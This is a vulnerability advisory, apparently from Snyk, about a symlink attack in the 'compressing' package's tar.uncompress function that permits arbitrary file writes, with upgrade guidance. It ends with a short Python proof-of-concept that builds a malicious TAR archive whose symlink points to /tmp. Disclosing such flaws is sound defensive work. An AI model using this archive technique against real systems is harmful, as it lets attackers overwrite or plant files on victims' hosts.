Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade compressing to version 1.10.4, 2.0.1 or higher.
compressing is an Everything you need for compressing and uncompressing
Affected versions of this package are vulnerable to Symlink Attack via the `compressing.tar.uncompress' function, which sanitizes the destination paths of archive entries. An attacker can overwrite or create files in arbitrary locations on the host file system by supplying a crafted TAR archive containing symbolic links that resolve outside the intended extraction directory.
base_dir = "archive/"
with tarfile.open("./poc_arbitrary_write.tar", mode="w") as tar:
add_regular_file(tar, base_dir + "baseFile.txt", "base content\n")
add_symlink(tar, base_dir + "myTmp", "/tmp")
add_regular_file(tar, base_dir + "myTmp/poc.txt", "Arbitrary File Write\n")